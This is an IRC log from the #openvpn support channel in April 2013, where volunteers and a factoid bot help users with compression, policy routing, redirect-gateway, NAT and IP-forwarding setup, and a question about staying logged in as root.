10:43 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
10:43 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:44 < petrus_lt> I would like to know how much comp-lzo can compress within a vpn
10:45 < petrus_lt> I am currently testing the vpn with iperf, and iperf reports me ~6.3Mbit/s while my adsl link has only 1Mb/s upload
10:45 < petrus_lt> could comp-lzo be the cause of this?
10:46 < dimm0k> !route
10:46 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
10:46 < petrus_lt> (my dsl stats show only ~120KB/s used, which is coherent for 1Mb/s upload)
10:46 <@vpnHelper> behind the server or client
10:57 -!- drifterdave [~Ryan_Snyd@c-67-173-204-177.hsd1.ga.comcast.net] has joined #openvpn
10:59 < petrus_lt> I just tested disabling compression and I'm now having a consistent upload rate of 1Mb/s, so that was it
10:59 < petrus_lt> I guess iperf traffic gets compressed easily to get that 6x ratio :)
11:02 < drifterdave> Hello all, i am attempting to route specific traffic through my VPN provider (on archlinux), is it possible to have openvpn apply its routes to an alternate route table than main, i have a differant table called "alter" that i would like to apply the pushed routes from my provider
11:03 < drifterdave> heres my config if it helps: http://www.paste.to/MjYwNzU=
11:04 < drifterdave> !welcome
11:04 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
11:04 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:05 < drifterdave> !goal
11:05 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
11:05 < dimm0k> !redirect
11:05 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
11:05 <@vpnHelper> http://ircpimps.org/redirect.png
11:06 -!- ayaka [~ayaka@2001:250:6801:1450:a60:6eff:fe70:368a] has quit [Quit: 离开]
11:06 < Poster> drifterdave: I think what you're after is outside of the scope of OpenVPN.  If you are using a Linux based client, you will probably want to look into using iproute2
11:06 < Poster> http://lartc.org/howto/lartc.iproute2.html
11:06 <@vpnHelper> Title: Introduction to iproute2 (at lartc.org)
11:08 -!- petrus_lt [~petrus@poum.tk] has left #openvpn ["bye"]
11:09 < drifterdave> Poster: i have it working mostly, but right now i basicly have it set up in reverse, any process not in the vpn group use route table "alter" i was hoping to have openvpn apply its rules to alter instead of stomping my default table
11:10 < Poster> yeah, that's possible with iproute2 ; you can build an alternate routing table, then mark packets with netfilter to use a different routing table
11:11 < drifterdave> Poster: thanks! i guess i will use it the way i have it now, since it technicly works
11:18 -!- xbanux [~xbanux@triband-mum-59.182.176.78.mtnl.net.in] has quit []
11:24 < dioz> specific traffic 'eh?
11:24 < dioz> deep packet inspection
11:24 < dioz> ports
11:24 < dioz> or how else could you actually attempt to route specific traffic
11:38 < Poster> dioz: I was thinking of marking based on port or destination with netfilter, but yeah one could also setup proxy systems too
11:40 <@krzee> drifterdave, you could use --route-noexec and then apply routes in a --route-up script
11:41 <@krzee> personally, i like:
11:41 <@krzee> !routebyapp
11:41 <@vpnHelper> "routebyapp" is if you want to send only certain apps over the VPN you need to run a socks server on the internal VPN subnet (see !sockd) then get an app like proxifier (windows, osx) or tsocks (linux, BSD) to selectively route traffic over the socks proxy based on port/app/subnet or any combination.
12:02 < SpaceBass> I'm using the iOS app and can connect to my OVPN endpoint successfully and pass traffic to the remote network. But I cannot rout out to the internet. I have redirect-gateway in the client config
12:04 <@krzee> !redirect
12:04 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
12:04 <@vpnHelper> http://ircpimps.org/redirect.png
12:04 <@krzee> see 4
12:04 < SpaceBass> thanks
12:04 <@krzee> np
12:15 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
12:31 < SpaceBass> doesn't look like DNS error? here are my server and client configs: http://forum.pfsense.org/index.php/topic,61710.0.html
12:31 <@vpnHelper> Title: OpenVPN for iOS connects, doesn't redirect all traffic (at forum.pfsense.org)
12:53 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
12:59 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
13:01 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
13:04 <@krzee> do you have NAT configured on your server?
13:04 <@krzee> have you confirmed you can ping the vpn ip?
13:06 <@krzee> where did you get stuck on my troubleshooting flowchart?
13:08 < SpaceBass> krzee, i don't have a ping utility on iOS - i'll see if I can find one
13:08 < SpaceBass> trying to troubleshoot on a laptop now
13:08 <@krzee> just ping from server to client
13:08 <@krzee> hey there you go!
13:08 <@krzee> much better that way
13:08 < SpaceBass> I can pass traffic b/t the ovpn server and client
13:09 <@krzee> ok
13:09 <@krzee> you have the laptop connected to the server via vpn now?
13:10 <@krzee> pfctl -snat
13:13 < SpaceBass> just connected it
13:16 < SpaceBass> what am I looking for with pfctl ?
13:16 <@krzee> !fbsdnat
13:16 <@vpnHelper> "fbsdnat" is nat on $ext_if from $vpn_network to any -> ($ext_if) (this is for PF)
13:18 < SpaceBass> I'm allowing all outbound traffic
13:21 <@krzee> !nat
13:21 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
13:23 < SpaceBass> d'oh! I feel like an idiot
13:24 < SpaceBass> was passing traffic but dns wasn't allowing responses to the vpn subnet
13:31 -!- Mr_Worldwide [~Mr_Worldw@178-211-43-51.turkrdns.com] has joined #openvpn
13:31 < Mr_Worldwide> hello
13:33 < Mr_Worldwide> can i start openvpn as parmanent root like sudo su or is that recommended to start it as sudo openvpn.... because i get deisconnect from my vpns all the time again and again and i will make sudo killall openvpn without password.. can you follow me english is bad sorry
13:33 < Mr_Worldwide> my
13:35 < Mr_Worldwide> as root permanent
13:38 < Mr_Worldwide> when i get disconnected under 10 minutes or so i dont have to to verify me as a user but longer i know its good when the connection is longer on but i must verify my as a user
13:39 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
13:39 < Mr_Worldwide> but is that an good idea to become all the time a root?
13:39 < Mr_Worldwide> thats the question
13:40 < Mr_Worldwide> i hope you can follw me my intention i think is clear
13:41 < Mr_Worldwide> i think the most you can understand even my english is so bad
13:43 < Mr_Worldwide> ?
13:45 < Mr_Worldwide> i can browse the internet i think the connection is on
13:45 < Mr_Worldwide> whats the proble you cannot answer me
13:47 < Mr_Worldwide> all to disco party party
13:47 < Mr_Worldwide> ?
13:48 < Mr_Worldwide> im not a troll you can feed who says that?
13:48 < Mr_Worldwide> you are on a wrong way when you thinking
13:50 < Mr_Worldwide> i can wait thats not the proble
13:54 < Mr_Worldwide> i can browse the web the connection should be stable why noboby can answer?
13:56 < Mr_Worldwide> ok i go to terminal enter sudo su become permanent root and can openvpn without any password and can faster reconnect thats my intention not a good idea?
13:56 < rob0> OpenVPN requires root privilege to control your tun interface and to change the routing table. How you get those privileges is up to you.
13:56 < Mr_Worldwide> where are the people?
13:56 < rob0> Maybe a question better addressed to your OS/distro channel?
13:58 < Mr_Worldwide> yes but with sudo it is temp and i must enter the password again and again because cannot resolve the hostname after inaktivity timeout
13:58 < Mr_Worldwide> i have to killall angain and again
13:59 < Mr_Worldwide> sometimes after 10 minutes somtimes after 1 hour or longer
14:01 < Mr_Worldwide> can i be root all the time without any security issue while i was browsing the web with my vpn
14:01 < Mr_Worldwide> ?
14:01 < Mr_Worldwide> thats the main question
14:02 < Mr_Worldwide> has nothing to so with ipenvpn clear but please
14:02 < rob0> um, maybe you can open a root shell? But no, I would not recommend that you do such tasks as web browsing as root.
14:02 < Mr_Worldwide> a temrinal
14:03 < Mr_Worldwide> terminal
14:03 < rob0> I have a root shell in screen(1), but I only use it when I need to do something as root.
14:03 < rob0> yes, a terminal
14:04 < Mr_Worldwide> can i do sudo su before connecting and stay all the time as root in temrinal?
14:05 < Mr_Worldwide> its because the password i dont want to enter this again and again
14:05 < rob0> see "man sudo", yes, maybe "sudo -i" or "sudo su -"
14:05 < Mr_Worldwide> i get disconnected again and again i say above
14:06 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 248 seconds]
14:06 < pekster> Then fix your stupid DNS setup
14:06 < rob0> pekster, yes sir.
14:07 < pekster> OpenVPN is fully able to reconnect after it gets disconnected. If you've mangled your DNS on connect and failed to put it back, it'll stay broken. You should fix the problem, not the symptom
14:07 < Mr_Worldwide> its not an proble with dns its because the vpn is an leak its like when you search on youtube premium vpn leak
14:07 < rob0> Oh, I thought pekster was talking to SpaceBass
14:08 < pekster> Ah, no, looks like that issue was already solved :)
14:08 < rob0> yes, Mr_Worldwide needs to figure out and fix what is causing the connection problems
14:08 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
14:09 < Mr_Worldwide> its like you download on cleanfiles you have an premium vpn and others have the same to you get disconnected from time to time UDP
14:09 < pekster> !provider
14:09 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
14:10 < Mr_Worldwide> can i be root all the time in terminal before connecting?
14:10 < rob0> No VPN can perform better than the underlying networks it connects.
14:11 < rob0> 19:05 < rob0> see "man sudo", yes, maybe "sudo -i" or "sudo su -"
14:11 < rob0> (and only use the root shell for this and other system administrative things)
14:12 < Mr_Worldwide> i just will do this for openvpn not more
14:12 < Mr_Worldwide> than good?
14:12 < Mr_Worldwide> permanent root
14:14 < Mr_Worldwide> ok i go to the ubuntu german channel
14:14 < Mr_Worldwide> bye
14:14 -!- Mr_Worldwide [~Mr_Worldw@178-211-43-51.turkrdns.com] has quit [Quit: Verlassend]
14:14 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has quit [Ping timeout: 260 seconds]
14:22 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
14:35 -!- drifterdave [~Ryan_Snyd@c-67-173-204-177.hsd1.ga.comcast.net] has left #openvpn []
14:39 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has joined #openvpn
15:11 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
15:22 -!- hesperaux [~hesperaux@174.37.86.108] has quit [Read error: Connection reset by peer]
15:22 -!- hesperaux [~hesperaux@174.37.86.108] has joined #openvpn
15:37 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
16:03 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
16:06 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Ping timeout: 246 seconds]
16:07 -!- mjixx_ [~markus@80.67.14.31] has quit [Read error: Operation timed out]
16:09 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:95d5:81e4:5170:4df5] has joined #openvpn
16:10 -!- mjixx [~markus@80.67.14.31] has joined #openvpn
16:15 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
16:19 -!- hesperaux [~hesperaux@174.37.86.108] has quit [Read error: Connection reset by peer]
16:19 -!- hesperaux [~hesperaux@174.37.86.108] has joined #openvpn
16:22 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit []
16:40 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
16:40 -!- master_of_master [~master_of@p4FF243E2.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
16:44 -!- master_of_master [~master_of@p4FF243E2.dip0.t-ipconnect.de] has joined #openvpn
17:00 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
17:04 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 245 seconds]
17:09 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
17:11 -!- cyberspace- [20253@ninthfloor.org] has quit [Read error: Connection reset by peer]
17:14 -!- hesperaux [~hesperaux@174.37.86.108] has quit [Read error: Connection reset by peer]
17:14 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
17:14 -!- hesperaux [~hesperaux@174.37.86.108] has joined #openvpn
17:16 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 258 seconds]
17:17 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
17:27 -!- hesperaux [~hesperaux@174.37.86.108] has quit [Ping timeout: 252 seconds]
17:29 -!- hesperaux [~hesperaux@c-98-213-190-149.hsd1.il.comcast.net] has joined #openvpn
17:45 -!- master_of_master [~master_of@p4FF243E2.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
17:45 -!- master_of_master [~master_of@p4FF243E2.dip0.t-ipconnect.de] has joined #openvpn
18:04 -!- i7c [~i7c@212.47.190.111] has joined #openvpn
18:04 < i7c> can openvpn add a route to a certain table instead of to the main table?
18:09 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Read error: Connection reset by peer]
18:14 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
18:24 -!- MarKsaitis [~MarKsaiti@2.217.210.210] has joined #openvpn
18:41 -!- Guest44257 [xtz@DeathStar.Techn0.eu] has left #openvpn []
18:41 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
19:19 -!- hesperaux_ [~hesperaux@c-98-213-190-149.hsd1.il.comcast.net] has joined #openvpn
19:23 -!- hesperaux [~hesperaux@c-98-213-190-149.hsd1.il.comcast.net] has quit [Ping timeout: 248 seconds]
19:29 -!- MarKsaitis [~MarKsaiti@2.217.210.210] has quit [Quit: Leaving]
19:30 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
19:34 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
19:44 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
19:46 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
19:47 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
19:59 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 245 seconds]
20:05 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
20:34 < rob0> i7c, that would require OS-specific hooks which do not exist in openvpn. You probably want to do that in an --up script.
20:52 < pekster> i7c: --route-up might be more appropriate (see the semantics in the manpage for that) along with --route-noexec
20:53 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
20:58 -!- Poster|x [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
20:59 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 255 seconds]
21:10 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:95d5:81e4:5170:4df5] has quit [Ping timeout: 246 seconds]
21:14 -!- BtbN [~btbn@btbn.de] has left #openvpn ["Leaving"]
21:14 -!- Poster|x is now known as Poster
21:21 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:95d5:81e4:5170:4df5] has joined #openvpn
21:31 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
21:31 -!- zeshoem [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
21:40 -!- hesperaux__ [~hesperaux@208.53.158.60] has joined #openvpn
21:44 -!- hesperaux_ [~hesperaux@c-98-213-190-149.hsd1.il.comcast.net] has quit [Ping timeout: 272 seconds]
22:12 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
22:14 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:95d5:81e4:5170:4df5] has quit [Quit: emmanuelux]
22:14 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
22:15 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
22:20 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
22:22 -!- master_o1_master [~master_of@p4FF2453F.dip0.t-ipconnect.de] has joined #openvpn
22:26 -!- master_of_master [~master_of@p4FF243E2.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
22:30 -!- hesperaux__ is now known as hesperaux
22:39 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
22:44 -!- austlaw [~austlaw@94.200.189.50] has quit [Ping timeout: 276 seconds]
22:53 -!- laner [~Lane@pool-108-12-162-210.bltmmd.east.verizon.net] has joined #openvpn
23:22 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
23:33 -!- laner [~Lane@pool-108-12-162-210.bltmmd.east.verizon.net] has quit [Quit: Computer has gone to sleep.]
--- Day changed Sun Apr 28 2013
01:02 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
01:02 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
01:03 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Ping timeout: 245 seconds]
01:10 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has quit [Ping timeout: 264 seconds]
01:13 < i7c> got it. thx rob0 and pekster!
01:20 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
01:38 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
01:43 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:43 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
01:43 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:45 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 256 seconds]
01:47 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 245 seconds]
02:01 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
02:02 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
02:03 < c|oneman> Hi, I setup openvpn on ubuntu 12.04. However, it's not the default gateway for clients. I'm at the bridging part... I don't have a local eth1 with 10.x IP in my /etc/network/interfaces
02:04 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
02:07 < pekster> c|oneman: Don't bridge unless you intend to create a bridge
02:07 < pekster> !tunortap
02:07 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
02:07 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
02:07 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 248 seconds]
02:07 < pekster> So, once you fix that, see !redirect
02:08 < c|oneman> !redirect
02:08 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
02:09 <@vpnHelper> http://ircpimps.org/redirect.png
02:09 -!- paccer [uid4847@gateway/web/irccloud.com/x-otxdocgrzhrnwifd] has quit [Quit: Connection closed for inactivity]
02:10 < c|oneman> !def1
02:10 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
02:11 < c|oneman> !ipforward
02:11 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
02:11 < c|oneman> !winipforward
02:11 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
02:14 < c|oneman> !linipforward
02:14 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
02:15 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
02:32 < c|oneman> !nat
02:32 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
02:32 < c|oneman> !linnat
02:32 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
02:33 < c|oneman> !openvzlinnat
02:33 <@vpnHelper> "openvzlinnat" is since openvz cant do NAT inside containers, use iptables -t nat -A PREROUTING -i tun0 -j DNAT --to-destination <container.ip>
02:45 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
02:46 < c|oneman> pekster, still around?
02:46 < c|oneman> I've gotten further, its an openvz issue
02:47 < c|oneman> now any website I try points to the local apache server
03:06 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Quit: Leaving]
03:07 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
03:17 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:28 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: No route to host]
03:28 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
03:34 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 276 seconds]
03:37 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:37 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
03:43 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
03:48 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Ping timeout: 245 seconds]
04:00 < BenLue> !redirect
04:00 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
04:00 <@vpnHelper> http://ircpimps.org/redirect.png
04:15 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
04:20 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
04:53 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
04:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 256 seconds]
04:54 -!- newbie|5 [~tjz@bb119-74-161-116.singnet.com.sg] has joined #openvpn
04:56 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
04:57 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 264 seconds]
04:57 -!- mattock is now known as mattock_afk
05:03 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
05:09 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:09 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
05:09 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
05:54 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:58 -!- ade_b [~Ade@cpc13-harb9-2-0-cust204.19-1.cable.virginmedia.com] has joined #openvpn
05:58 -!- ade_b [~Ade@cpc13-harb9-2-0-cust204.19-1.cable.virginmedia.com] has quit [Changing host]
05:58 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
06:03 -!- mattock_afk is now known as mattock
06:10 -!- kubbing_ [~kubbing@ip-78-102-124-161.net.upcbroadband.cz] has joined #openvpn
06:13 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 256 seconds]
06:20 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:22 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
06:31 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
06:35 -!- kubbing_ [~kubbing@ip-78-102-124-161.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
06:37 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
06:39 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
06:41 -!- Devastator [~devas@186.214.110.171] has joined #openvpn
06:42 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
06:43 -!- JSharpe_ [~JSharpe@ns2306745.ovh.net] has joined #openvpn
06:44 -!- JSharpe [~JSharpe@ns2306745.ovh.net] has quit [Read error: Connection reset by peer]
06:49 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
06:54 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
06:55 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
07:24 -!- JackWinter [~jack@vodsl-9778.vo.lu] has left #openvpn ["Konversation terminated!"]
07:27 -!- JackWinter [~jack@vodsl-9778.vo.lu] has joined #openvpn
07:27 -!- JackWinter [~jack@vodsl-9778.vo.lu] has left #openvpn ["Konversation terminated!"]
07:30 -!- JackWinter [~jack@vodsl-9778.vo.lu] has joined #openvpn
07:47 -!- brute11k1 [~brute@89.249.231.15] has joined #openvpn
07:48 -!- brute11k [~brute@89.249.231.15] has quit [Ping timeout: 255 seconds]
07:56 -!- sedulous [~sedulous@unaffiliated/sed/x-0159859] has quit [Ping timeout: 276 seconds]
08:02 -!- sedulous [~sedulous@unaffiliated/sed/x-0159859] has joined #openvpn
08:12 -!- APTX_ [APTX@unaffiliated/aptx] has joined #openvpn
08:13 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 264 seconds]
08:24 -!- ade_b [~Ade@94.197.127.131.threembb.co.uk] has joined #openvpn
08:24 -!- ade_b [~Ade@94.197.127.131.threembb.co.uk] has quit [Changing host]
08:24 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:31 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:488e:57eb:6a14:205d] has joined #openvpn
08:33 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
08:55 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
09:18 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
09:23 -!- tharkun [~0@187.188.166.5] has joined #openvpn
09:23 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
09:23 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
09:25 -!- kubbing_ [~kubbing@ip-89-177-146-99.net.upcbroadband.cz] has joined #openvpn
